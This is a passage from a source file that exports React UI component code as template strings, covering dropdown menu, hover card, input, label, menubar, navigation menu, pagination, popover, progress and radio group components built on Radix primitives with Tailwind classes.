DropdownMenuPrimitive.SubTrigger.displayName\n\nconst DropdownMenuSubContent = React.forwardRef<\n React.ElementRef<typeof DropdownMenuPrimitive.SubContent>,\n React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.SubContent>\n>(({ className, ...props }, ref) => (\n <DropdownMenuPrimitive.SubContent\n ref={ref}\n className={cn(\n \"z-50 min-w-[8rem] overflow-hidden rounded-md border border-gray-200 bg-white p-1 text-gray-950 shadow-lg data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 dark:border-gray-800 dark:bg-gray-950 dark:text-gray-50\",\n className\n )}\n {...props}\n />\n))\nDropdownMenuSubContent.displayName =\n DropdownMenuPrimitive.SubContent.displayName\n\nconst DropdownMenuContent = React.forwardRef<\n React.ElementRef<typeof DropdownMenuPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Content>\n>(({ className, sideOffset = 4, ...props }, ref) => (\n <DropdownMenuPrimitive.Portal>\n <DropdownMenuPrimitive.Content\n ref={ref}\n sideOffset={sideOffset}\n className={cn(\n \"z-50 min-w-[8rem] overflow-hidden rounded-md border border-gray-200 bg-white p-1 text-gray-950 shadow-md data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 dark:border-gray-800 dark:bg-gray-950 dark:text-gray-50\",\n className\n )}\n {...props}\n />\n </DropdownMenuPrimitive.Portal>\n))\nDropdownMenuContent.displayName = DropdownMenuPrimitive.Content.displayName\n\nconst DropdownMenuItem = React.forwardRef<\n React.ElementRef<typeof DropdownMenuPrimitive.Item>,\n React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Item> & {\n inset?: boolean\n }\n>(({ className, inset, ...props }, ref) => (\n <DropdownMenuPrimitive.Item\n ref={ref}\n className={cn(\n \"relative flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none transition-colors focus:bg-gray-100 focus:text-gray-900 data-[disabled]:pointer-events-none data-[disabled]:opacity-50 dark:focus:bg-gray-800 dark:focus:text-gray-50\",\n inset && \"pl-8\",\n className\n )}\n {...props}\n />\n))\nDropdownMenuItem.displayName = DropdownMenuPrimitive.Item.displayName\n\nconst DropdownMenuCheckboxItem = React.forwardRef<\n React.ElementRef<typeof DropdownMenuPrimitive.CheckboxItem>,\n React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.CheckboxItem>\n>(({ className, children, checked, ...props }, ref) => (\n <DropdownMenuPrimitive.CheckboxItem\n ref={ref}\n className={cn(\n \"relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-gray-100 focus:text-gray-900 data-[disabled]:pointer-events-none data-[disabled]:opacity-50 dark:focus:bg-gray-800 dark:focus:text-gray-50\",\n className\n )}\n checked={checked}\n {...props}\n >\n <span className=\"absolute left-2 flex h-3.5 w-3.5 items-center justify-center\">\n <DropdownMenuPrimitive.ItemIndicator>\n <Check className=\"h-4 w-4\" />\n </DropdownMenuPrimitive.ItemIndicator>\n </span>\n {children}\n </DropdownMenuPrimitive.CheckboxItem>\n))\nDropdownMenuCheckboxItem.displayName =\n DropdownMenuPrimitive.CheckboxItem.displayName\n\nconst DropdownMenuRadioItem = React.forwardRef<\n React.ElementRef<typeof DropdownMenuPrimitive.RadioItem>,\n React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.RadioItem>\n>(({ className, children, ...props }, ref) => (\n <DropdownMenuPrimitive.RadioItem\n ref={ref}\n className={cn(\n \"relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none transition-colors focus:bg-gray-100 focus:text-gray-900 data-[disabled]:pointer-events-none data-[disabled]:opacity-50 dark:focus:bg-gray-800 dark:focus:text-gray-50\",\n className\n )}\n {...props}\n >\n <span className=\"absolute left-2 flex h-3.5 w-3.5 items-center justify-center\">\n <DropdownMenuPrimitive.ItemIndicator>\n <Circle className=\"h-2 w-2 fill-current\" />\n </DropdownMenuPrimitive.ItemIndicator>\n </span>\n {children}\n </DropdownMenuPrimitive.RadioItem>\n))\nDropdownMenuRadioItem.displayName = DropdownMenuPrimitive.RadioItem.displayName\n\nconst DropdownMenuLabel = React.forwardRef<\n React.ElementRef<typeof DropdownMenuPrimitive.Label>,\n React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Label> & {\n inset?: boolean\n }\n>(({ className, inset, ...props }, ref) => (\n <DropdownMenuPrimitive.Label\n ref={ref}\n className={cn(\n \"px-2 py-1.5 text-sm font-semibold\",\n inset && \"pl-8\",\n className\n )}\n {...props}\n />\n))\nDropdownMenuLabel.displayName = DropdownMenuPrimitive.Label.displayName\n\nconst DropdownMenuSeparator = React.forwardRef<\n React.ElementRef<typeof DropdownMenuPrimitive.Separator>,\n React.ComponentPropsWithoutRef<typeof DropdownMenuPrimitive.Separator>\n>(({ className, ...props }, ref) => (\n <DropdownMenuPrimitive.Separator\n ref={ref}\n className={cn(\"-mx-1 my-1 h-px bg-gray-100 dark:bg-gray-800\", className)}\n {...props}\n />\n))\nDropdownMenuSeparator.displayName = DropdownMenuPrimitive.Separator.displayName\n\nconst DropdownMenuShortcut = ({\n className,\n ...props\n}: React.HTMLAttributes<HTMLSpanElement>) => {\n return (\n <span\n className={cn(\"ml-auto text-xs tracking-widest opacity-60\", className)}\n {...props}\n />\n )\n}\nDropdownMenuShortcut.displayName = \"DropdownMenuShortcut\"\n\nexport {\n DropdownMenu,\n DropdownMenuTrigger,\n DropdownMenuContent,\n DropdownMenuItem,\n DropdownMenuCheckboxItem,\n DropdownMenuRadioItem,\n DropdownMenuLabel,\n DropdownMenuSeparator,\n DropdownMenuShortcut,\n DropdownMenuGroup,\n DropdownMenuPortal,\n DropdownMenuSub,\n DropdownMenuSubContent,\n DropdownMenuSubTrigger,\n DropdownMenuRadioGroup,\n}\n\n`;\nexport const hoverCard = `import * as React from \"react\"\nimport * as HoverCardPrimitive from \"@radix-ui/react-hover-card\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst HoverCard = HoverCardPrimitive.Root\n\nconst HoverCardTrigger = HoverCardPrimitive.Trigger\n\nconst HoverCardContent = React.forwardRef<\n React.ElementRef<typeof HoverCardPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof HoverCardPrimitive.Content>\n>(({ className, align = \"center\", sideOffset = 4, ...props }, ref) => (\n <HoverCardPrimitive.Content\n ref={ref}\n align={align}\n sideOffset={sideOffset}\n className={cn(\n \"z-50 w-64 rounded-md border border-gray-200 bg-white p-4 text-gray-950 shadow-md outline-none data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 dark:border-gray-800 dark:bg-gray-950 dark:text-gray-50\",\n className\n )}\n {...props}\n />\n))\nHoverCardContent.displayName = HoverCardPrimitive.Content.displayName\n\nexport { HoverCard, HoverCardTrigger, HoverCardContent }\n\n`;\nexport const input = `import * as React from \"react\"\nimport { cn } from \"../../lib/utils\"\n\nexport interface InputProps\n extends React.InputHTMLAttributes<HTMLInputElement> {}\n\nconst Input = React.forwardRef<HTMLInputElement, InputProps>(\n ({ className, type, ...props }, ref) => {\n return (\n <input\n type={type}\n className={cn(\n \"flex h-10 w-full rounded-md border border-gray-200 bg-white px-3 py-2 text-sm ring-offset-white file:border-0 file:bg-transparent file:text-sm file:font-medium placeholder:text-gray-500 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-gray-950 focus-visible:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50 dark:border-gray-800 dark:bg-gray-950 dark:ring-offset-gray-950 dark:placeholder:text-gray-400 dark:focus-visible:ring-gray-300\",\n className\n )}\n ref={ref}\n {...props}\n />\n )\n }\n)\nInput.displayName = \"Input\"\n\nexport { Input }\n`;\nexport const label = `import * as React from 'react';\nimport * as LabelPrimitive from '@radix-ui/react-label';\nimport { cva, type VariantProps } from 'class-variance-authority';\n\nimport { cn } from '../../lib/utils';\n\nconst labelVariants = cva(\n \"text-sm font-medium leading-none peer-disabled:cursor-not-allowed peer-disabled:opacity-70\"\n)\n\nconst Label = React.forwardRef<\n React.ElementRef<typeof LabelPrimitive.Root>,\n React.ComponentPropsWithoutRef<typeof LabelPrimitive.Root> &\n VariantProps<typeof labelVariants>\n>(({ className, ...props }, ref) => (\n <LabelPrimitive.Root\n ref={ref}\n className={cn(labelVariants(), className)}\n {...props}\n />\n))\nLabel.displayName = LabelPrimitive.Root.displayName\n\nexport { Label }\n`;\nexport const menuBar = `\nimport * as React from \"react\"\nimport * as MenubarPrimitive from \"@radix-ui/react-menubar\"\nimport { Check, ChevronRight, Circle } from \"lucide-react\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst MenubarMenu = MenubarPrimitive.Menu\n\nconst MenubarGroup = MenubarPrimitive.Group\n\nconst MenubarPortal = MenubarPrimitive.Portal\n\nconst MenubarSub = MenubarPrimitive.Sub\n\nconst MenubarRadioGroup = MenubarPrimitive.RadioGroup\n\nconst Menubar = React.forwardRef<\n React.ElementRef<typeof MenubarPrimitive.Root>,\n React.ComponentPropsWithoutRef<typeof MenubarPrimitive.Root>\n>(({ className, ...props }, ref) => (\n <MenubarPrimitive.Root\n ref={ref}\n className={cn(\n \"flex h-10 items-center space-x-1 rounded-md border border-gray-200 bg-white p-1 dark:border-gray-800 dark:bg-gray-950\",\n className\n )}\n {...props}\n />\n))\nMenubar.displayName = MenubarPrimitive.Root.displayName\n\nconst MenubarTrigger = React.forwardRef<\n React.ElementRef<typeof MenubarPrimitive.Trigger>,\n React.ComponentPropsWithoutRef<typeof MenubarPrimitive.Trigger>\n>(({ className, ...props }, ref) => (\n <MenubarPrimitive.Trigger\n ref={ref}\n className={cn(\n \"flex cursor-default select-none items-center rounded-sm px-3 py-1.5 text-sm font-medium outline-none focus:bg-gray-100 focus:text-gray-900 data-[state=open]:bg-gray-100 data-[state=open]:text-gray-900 dark:focus:bg-gray-800 dark:focus:text-gray-50 dark:data-[state=open]:bg-gray-800 dark:data-[state=open]:text-gray-50\",\n className\n )}\n {...props}\n />\n))\nMenubarTrigger.displayName = MenubarPrimitive.Trigger.displayName\n\nconst MenubarSubTrigger = React.forwardRef<\n React.ElementRef<typeof MenubarPrimitive.SubTrigger>,\n React.ComponentPropsWithoutRef<typeof MenubarPrimitive.SubTrigger> & {\n inset?: boolean\n }\n>(({ className, inset, children, ...props }, ref) => (\n <MenubarPrimitive.SubTrigger\n ref={ref}\n className={cn(\n \"flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none focus:bg-gray-100 focus:text-gray-900 data-[state=open]:bg-gray-100 data-[state=open]:text-gray-900 dark:focus:bg-gray-800 dark:focus:text-gray-50 dark:data-[state=open]:bg-gray-800 dark:data-[state=open]:text-gray-50\",\n inset && \"pl-8\",\n className\n )}\n {...props}\n >\n {children}\n <ChevronRight className=\"ml-auto h-4 w-4\" />\n </MenubarPrimitive.SubTrigger>\n))\nMenubarSubTrigger.displayName = MenubarPrimitive.SubTrigger.displayName\n\nconst MenubarSubContent = React.forwardRef<\n React.ElementRef<typeof MenubarPrimitive.SubContent>,\n React.ComponentPropsWithoutRef<typeof MenubarPrimitive.SubContent>\n>(({ className, ...props }, ref) => (\n <MenubarPrimitive.SubContent\n ref={ref}\n className={cn(\n \"z-50 min-w-[8rem] overflow-hidden rounded-md border border-gray-200 bg-white p-1 text-gray-950 data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 dark:border-gray-800 dark:bg-gray-950 dark:text-gray-50\",\n className\n )}\n {...props}\n />\n))\nMenubarSubContent.displayName = MenubarPrimitive.SubContent.displayName\n\nconst MenubarContent = React.forwardRef<\n React.ElementRef<typeof MenubarPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof MenubarPrimitive.Content>\n>(\n (\n { className, align = \"start\", alignOffset = -4, sideOffset = 8, ...props },\n ref\n ) => (\n <MenubarPrimitive.Portal>\n <MenubarPrimitive.Content\n ref={ref}\n align={align}\n alignOffset={alignOffset}\n sideOffset={sideOffset}\n className={cn(\n \"z-50 min-w-[12rem] overflow-hidden rounded-md border border-gray-200 bg-white p-1 text-gray-950 shadow-md data-[state=open]:animate-in data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 dark:border-gray-800 dark:bg-gray-950 dark:text-gray-50\",\n className\n )}\n {...props}\n />\n </MenubarPrimitive.Portal>\n )\n)\nMenubarContent.displayName = MenubarPrimitive.Content.displayName\n\nconst MenubarItem = React.forwardRef<\n React.ElementRef<typeof MenubarPrimitive.Item>,\n React.ComponentPropsWithoutRef<typeof MenubarPrimitive.Item> & {\n inset?: boolean\n }\n>(({ className, inset, ...props }, ref) => (\n <MenubarPrimitive.Item\n ref={ref}\n className={cn(\n \"relative flex cursor-default select-none items-center rounded-sm px-2 py-1.5 text-sm outline-none focus:bg-gray-100 focus:text-gray-900 data-[disabled]:pointer-events-none data-[disabled]:opacity-50 dark:focus:bg-gray-800 dark:focus:text-gray-50\",\n inset && \"pl-8\",\n className\n )}\n {...props}\n />\n))\nMenubarItem.displayName = MenubarPrimitive.Item.displayName\n\nconst MenubarCheckboxItem = React.forwardRef<\n React.ElementRef<typeof MenubarPrimitive.CheckboxItem>,\n React.ComponentPropsWithoutRef<typeof MenubarPrimitive.CheckboxItem>\n>(({ className, children, checked, ...props }, ref) => (\n <MenubarPrimitive.CheckboxItem\n ref={ref}\n className={cn(\n \"relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none focus:bg-gray-100 focus:text-gray-900 data-[disabled]:pointer-events-none data-[disabled]:opacity-50 dark:focus:bg-gray-800 dark:focus:text-gray-50\",\n className\n )}\n checked={checked}\n {...props}\n >\n <span className=\"absolute left-2 flex h-3.5 w-3.5 items-center justify-center\">\n <MenubarPrimitive.ItemIndicator>\n <Check className=\"h-4 w-4\" />\n </MenubarPrimitive.ItemIndicator>\n </span>\n {children}\n </MenubarPrimitive.CheckboxItem>\n))\nMenubarCheckboxItem.displayName = MenubarPrimitive.CheckboxItem.displayName\n\nconst MenubarRadioItem = React.forwardRef<\n React.ElementRef<typeof MenubarPrimitive.RadioItem>,\n React.ComponentPropsWithoutRef<typeof MenubarPrimitive.RadioItem>\n>(({ className, children, ...props }, ref) => (\n <MenubarPrimitive.RadioItem\n ref={ref}\n className={cn(\n \"relative flex cursor-default select-none items-center rounded-sm py-1.5 pl-8 pr-2 text-sm outline-none focus:bg-gray-100 focus:text-gray-900 data-[disabled]:pointer-events-none data-[disabled]:opacity-50 dark:focus:bg-gray-800 dark:focus:text-gray-50\",\n className\n )}\n {...props}\n >\n <span className=\"absolute left-2 flex h-3.5 w-3.5 items-center justify-center\">\n <MenubarPrimitive.ItemIndicator>\n <Circle className=\"h-2 w-2 fill-current\" />\n </MenubarPrimitive.ItemIndicator>\n </span>\n {children}\n </MenubarPrimitive.RadioItem>\n))\nMenubarRadioItem.displayName = MenubarPrimitive.RadioItem.displayName\n\nconst MenubarLabel = React.forwardRef<\n React.ElementRef<typeof MenubarPrimitive.Label>,\n React.ComponentPropsWithoutRef<typeof MenubarPrimitive.Label> & {\n inset?: boolean\n }\n>(({ className, inset, ...props }, ref) => (\n <MenubarPrimitive.Label\n ref={ref}\n className={cn(\n \"px-2 py-1.5 text-sm font-semibold\",\n inset && \"pl-8\",\n className\n )}\n {...props}\n />\n))\nMenubarLabel.displayName = MenubarPrimitive.Label.displayName\n\nconst MenubarSeparator = React.forwardRef<\n React.ElementRef<typeof MenubarPrimitive.Separator>,\n React.ComponentPropsWithoutRef<typeof MenubarPrimitive.Separator>\n>(({ className, ...props }, ref) => (\n <MenubarPrimitive.Separator\n ref={ref}\n className={cn(\"-mx-1 my-1 h-px bg-gray-100 dark:bg-gray-800\", className)}\n {...props}\n />\n))\nMenubarSeparator.displayName = MenubarPrimitive.Separator.displayName\n\nconst MenubarShortcut = ({\n className,\n ...props\n}: React.HTMLAttributes<HTMLSpanElement>) => {\n return (\n <span\n className={cn(\n \"ml-auto text-xs tracking-widest text-gray-500 dark:text-gray-400\",\n className\n )}\n {...props}\n />\n )\n}\nMenubarShortcut.displayname = \"MenubarShortcut\"\n\nexport {\n Menubar,\n MenubarMenu,\n MenubarTrigger,\n MenubarContent,\n MenubarItem,\n MenubarSeparator,\n MenubarLabel,\n MenubarCheckboxItem,\n MenubarRadioGroup,\n MenubarRadioItem,\n MenubarPortal,\n MenubarSubContent,\n MenubarSubTrigger,\n MenubarGroup,\n MenubarSub,\n MenubarShortcut,\n}\n\n`;\nexport const navigationMenu = `import * as React from \"react\"\nimport * as NavigationMenuPrimitive from \"@radix-ui/react-navigation-menu\"\nimport { cva } from \"class-variance-authority\"\nimport { ChevronDown } from \"lucide-react\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst NavigationMenu = React.forwardRef<\n React.ElementRef<typeof NavigationMenuPrimitive.Root>,\n React.ComponentPropsWithoutRef<typeof NavigationMenuPrimitive.Root>\n>(({ className, children, ...props }, ref) => (\n <NavigationMenuPrimitive.Root\n ref={ref}\n className={cn(\n \"relative z-10 flex max-w-max flex-1 items-center justify-center\",\n className\n )}\n {...props}\n >\n {children}\n <NavigationMenuViewport />\n </NavigationMenuPrimitive.Root>\n))\nNavigationMenu.displayName = NavigationMenuPrimitive.Root.displayName\n\nconst NavigationMenuList = React.forwardRef<\n React.ElementRef<typeof NavigationMenuPrimitive.List>,\n React.ComponentPropsWithoutRef<typeof NavigationMenuPrimitive.List>\n>(({ className, ...props }, ref) => (\n <NavigationMenuPrimitive.List\n ref={ref}\n className={cn(\n \"group flex flex-1 list-none items-center justify-center space-x-1\",\n className\n )}\n {...props}\n />\n))\nNavigationMenuList.displayName = NavigationMenuPrimitive.List.displayName\n\nconst NavigationMenuItem = NavigationMenuPrimitive.Item\n\nconst navigationMenuTriggerStyle = cva(\n \"group inline-flex h-10 w-max items-center justify-center rounded-md bg-white px-4 py-2 text-sm font-medium transition-colors hover:bg-gray-100 hover:text-gray-900 focus:bg-gray-100 focus:text-gray-900 focus:outline-none disabled:pointer-events-none disabled:opacity-50 data-[active]:bg-gray-100/50 data-[state=open]:bg-gray-100/50 dark:bg-gray-950 dark:hover:bg-gray-800 dark:hover:text-gray-50 dark:focus:bg-gray-800 dark:focus:text-gray-50 dark:data-[active]:bg-gray-800/50 dark:data-[state=open]:bg-gray-800/50\"\n)\n\nconst NavigationMenuTrigger = React.forwardRef<\n React.ElementRef<typeof NavigationMenuPrimitive.Trigger>,\n React.ComponentPropsWithoutRef<typeof NavigationMenuPrimitive.Trigger>\n>(({ className, children, ...props }, ref) => (\n <NavigationMenuPrimitive.Trigger\n ref={ref}\n className={cn(navigationMenuTriggerStyle(), \"group\", className)}\n {...props}\n >\n {children}{\"\"}\n <ChevronDown\n className=\"relative top-[1px] ml-1 h-3 w-3 transition duration-200 group-data-[state=open]:rotate-180\"\n aria-hidden=\"true\"\n />\n </NavigationMenuPrimitive.Trigger>\n))\nNavigationMenuTrigger.displayName = NavigationMenuPrimitive.Trigger.displayName\n\nconst NavigationMenuContent = React.forwardRef<\n React.ElementRef<typeof NavigationMenuPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof NavigationMenuPrimitive.Content>\n>(({ className, ...props }, ref) => (\n <NavigationMenuPrimitive.Content\n ref={ref}\n className={cn(\n \"left-0 top-0 w-full data-[motion^=from-]:animate-in data-[motion^=to-]:animate-out data-[motion^=from-]:fade-in data-[motion^=to-]:fade-out data-[motion=from-end]:slide-in-from-right-52 data-[motion=from-start]:slide-in-from-left-52 data-[motion=to-end]:slide-out-to-right-52 data-[motion=to-start]:slide-out-to-left-52 md:absolute md:w-auto\",\n className\n )}\n {...props}\n />\n))\nNavigationMenuContent.displayName = NavigationMenuPrimitive.Content.displayName\n\nconst NavigationMenuLink = NavigationMenuPrimitive.Link\n\nconst NavigationMenuViewport = React.forwardRef<\n React.ElementRef<typeof NavigationMenuPrimitive.Viewport>,\n React.ComponentPropsWithoutRef<typeof NavigationMenuPrimitive.Viewport>\n>(({ className, ...props }, ref) => (\n <div className={cn(\"absolute left-0 top-full flex justify-center\")}>\n <NavigationMenuPrimitive.Viewport\n className={cn(\n \"origin-top-center relative mt-1.5 h-[var(--radix-navigation-menu-viewport-height)] w-full overflow-hidden rounded-md border border-gray-200 bg-white text-gray-950 shadow-lg data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-90 md:w-[var(--radix-navigation-menu-viewport-width)] dark:border-gray-800 dark:bg-gray-950 dark:text-gray-50\",\n className\n )}\n ref={ref}\n {...props}\n />\n </div>\n))\nNavigationMenuViewport.displayName =\n NavigationMenuPrimitive.Viewport.displayName\n\nconst NavigationMenuIndicator = React.forwardRef<\n React.ElementRef<typeof NavigationMenuPrimitive.Indicator>,\n React.ComponentPropsWithoutRef<typeof NavigationMenuPrimitive.Indicator>\n>(({ className, ...props }, ref) => (\n <NavigationMenuPrimitive.Indicator\n ref={ref}\n className={cn(\n \"top-full z-[1] flex h-1.5 items-end justify-center overflow-hidden data-[state=visible]:animate-in data-[state=hidden]:animate-out data-[state=hidden]:fade-out data-[state=visible]:fade-in\",\n className\n )}\n {...props}\n >\n <div className=\"relative top-[60%] h-2 w-2 rotate-45 rounded-tl-sm bg-gray-200 shadow-md dark:bg-gray-800\" />\n </NavigationMenuPrimitive.Indicator>\n))\nNavigationMenuIndicator.displayName =\n NavigationMenuPrimitive.Indicator.displayName\n\nexport {\n navigationMenuTriggerStyle,\n NavigationMenu,\n NavigationMenuList,\n NavigationMenuItem,\n NavigationMenuContent,\n NavigationMenuTrigger,\n NavigationMenuLink,\n NavigationMenuIndicator,\n NavigationMenuViewport,\n}\n\n`;\nexport const pagination = `import * as React from \"react\"\nimport { ChevronLeft, ChevronRight, MoreHorizontal } from \"lucide-react\"\n\nimport { cn } from \"../../lib/utils\"\nimport { ButtonProps, buttonVariants } from \"./button\"\n\nconst Pagination = ({ className, ...props }: React.ComponentProps<\"nav\">) => (\n <nav\n role=\"navigation\"\n aria-label=\"pagination\"\n className={cn(\"mx-auto flex w-full justify-center\", className)}\n {...props}\n />\n)\nPagination.displayName = \"Pagination\"\n\nconst PaginationContent = React.forwardRef<\n HTMLUListElement,\n React.ComponentProps<\"ul\">\n>(({ className, ...props }, ref) => (\n <ul\n ref={ref}\n className={cn(\"flex flex-row items-center gap-1\", className)}\n {...props}\n />\n))\nPaginationContent.displayName = \"PaginationContent\"\n\nconst PaginationItem = React.forwardRef<\n HTMLLIElement,\n React.ComponentProps<\"li\">\n>(({ className, ...props }, ref) => (\n <li ref={ref} className={cn(\"\", className)} {...props} />\n))\nPaginationItem.displayName = \"PaginationItem\"\n\ntype PaginationLinkProps = {\n isActive?: boolean\n} & Pick<ButtonProps, \"size\"> &\n React.ComponentProps<\"a\">\n\nconst PaginationLink = ({\n className,\n isActive,\n size = \"icon\",\n ...props\n}: PaginationLinkProps) => (\n <a\n aria-current={isActive ? \"page\" : undefined}\n className={cn(\n buttonVariants({\n variant: isActive ? \"outline\" : \"ghost\",\n size,\n }),\n className\n )}\n {...props}\n />\n)\nPaginationLink.displayName = \"PaginationLink\"\n\nconst PaginationPrevious = ({\n className,\n ...props\n}: React.ComponentProps<typeof PaginationLink>) => (\n <PaginationLink\n aria-label=\"Go to previous page\"\n size=\"default\"\n className={cn(\"gap-1 pl-2.5\", className)}\n {...props}\n >\n <ChevronLeft className=\"h-4 w-4\" />\n <span>Previous</span>\n </PaginationLink>\n)\nPaginationPrevious.displayName = \"PaginationPrevious\"\n\nconst PaginationNext = ({\n className,\n ...props\n}: React.ComponentProps<typeof PaginationLink>) => (\n <PaginationLink\n aria-label=\"Go to next page\"\n size=\"default\"\n className={cn(\"gap-1 pr-2.5\", className)}\n {...props}\n >\n <span>Next</span>\n <ChevronRight className=\"h-4 w-4\" />\n </PaginationLink>\n)\nPaginationNext.displayName = \"PaginationNext\"\n\nconst PaginationEllipsis = ({\n className,\n ...props\n}: React.ComponentProps<\"span\">) => (\n <span\n aria-hidden\n className={cn(\"flex h-9 w-9 items-center justify-center\", className)}\n {...props}\n >\n <MoreHorizontal className=\"h-4 w-4\" />\n <span className=\"sr-only\">More pages</span>\n </span>\n)\nPaginationEllipsis.displayName = \"PaginationEllipsis\"\n\nexport {\n Pagination,\n PaginationContent,\n PaginationEllipsis,\n PaginationItem,\n PaginationLink,\n PaginationNext,\n PaginationPrevious,\n}\n\n`;\nexport const popover = `import * as React from \"react\"\nimport * as PopoverPrimitive from \"@radix-ui/react-popover\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Popover = PopoverPrimitive.Root\n\nconst PopoverTrigger = PopoverPrimitive.Trigger\n\nconst PopoverContent = React.forwardRef<\n React.ElementRef<typeof PopoverPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof PopoverPrimitive.Content>\n>(({ className, align = \"center\", sideOffset = 4, ...props }, ref) => (\n <PopoverPrimitive.Portal>\n <PopoverPrimitive.Content\n ref={ref}\n align={align}\n sideOffset={sideOffset}\n className={cn(\n \"z-50 w-72 rounded-md border border-gray-200 bg-white p-4 text-gray-950 shadow-md outline-none data-[state=open]:animate-in data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=open]:fade-in-0 data-[state=closed]:zoom-out-95 data-[state=open]:zoom-in-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 dark:border-gray-800 dark:bg-gray-950 dark:text-gray-50\",\n className\n )}\n {...props}\n />\n </PopoverPrimitive.Portal>\n))\nPopoverContent.displayName = PopoverPrimitive.Content.displayName\n\nexport { Popover, PopoverTrigger, PopoverContent }\n\n`;\nexport const progress = `import * as React from \"react\"\nimport * as ProgressPrimitive from \"@radix-ui/react-progress\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Progress = React.forwardRef<\n React.ElementRef<typeof ProgressPrimitive.Root>,\n React.ComponentPropsWithoutRef<typeof ProgressPrimitive.Root>\n>(({ className, value, ...props }, ref) => (\n <ProgressPrimitive.Root\n ref={ref}\n className={cn(\n \"relative h-4 w-full overflow-hidden rounded-full bg-gray-100 dark:bg-gray-800\",\n className\n )}\n {...props}\n >\n <ProgressPrimitive.Indicator\n className=\"h-full w-full flex-1 bg-gray-900 transition-all dark:bg-gray-50\"\n style={{ transform: \\`translateX(-\\${100 - (value || 0)}%)\\` }}\n />\n </ProgressPrimitive.Root>\n))\nProgress.displayName = ProgressPrimitive.Root.displayName\n\nexport { Progress }\n`;\nexport const radioGroup = `import * as React from \"react\"\nimport * as RadioGroupPrimitive from \"@radix-ui/react-radio-group\"\nimport { Circle } from \"lucide-react\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst RadioGroup = React.forwardRef<\n React.ElementRef<typeof RadioGroupPrimitive.Root>,\n React.ComponentPropsWithoutRef<typeof RadioGroupPrimitive.Root>\n>(({ className, ...props }, ref) => {\n return (\n <RadioGroupPrimitive.Root\n className={cn(\"grid gap-2\", className)}\n {...props}\n ref={ref}\n />\n )\n})\nRadioGroup.displayName = RadioGroupPrimitive.Root.displayName\n\nconst RadioGroupItem = React.forwardRef<\n React.ElementRef<typeof RadioGroupPrimitive.Item>,\n React.ComponentPropsWithoutRef<typeof RadioGroupPrimitive.Item>\n>(({ className, ...props }, ref) => {\n return (\n <RadioGroupPrimitive.Item\n ref={ref}\n className={cn(\n \"aspect-square h-4 w-4 rounded-full border border-gray-200 dark:border-gray-900 text-gray-900 ring-offset-white focus:outline-none focus-visible:ring-2 focus-visible:ring-gray-950 focus-visible:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50 dark:text-gray-50 dark:ring-offset-gray-950 dark:focus-visible:ring-gray-300\",\n className\n )}\n {...props}\n >\n <RadioGroupPrimitive.Indicator className=\"flex items-center justify-center\">\n <Circle className=\"h-2.5 w-2.5 fill-current text-current\" />\n </RadioGroupPrimitive.Indicator>\n </RadioGroupPrimitive.Item>\n )\n})\nRadioGroupItem.displayName = RadioGroupPrimitive.Item.displayName\n\nexport { RadioGroup, RadioGroupItem }\n\n`;\nexport const select = `import * as React from \"react\"\nimport * as SelectPrimitive from \"@radix-ui/react-select\"\nimport { Check, ChevronDown, ChevronUp } from \"lucide-react\"\n\nimport { cn } from \"../../lib/utils\"\n\nconst Select = SelectPrimitive.Root\n\nconst SelectGroup = SelectPrimitive.Group\n\nconst SelectValue = 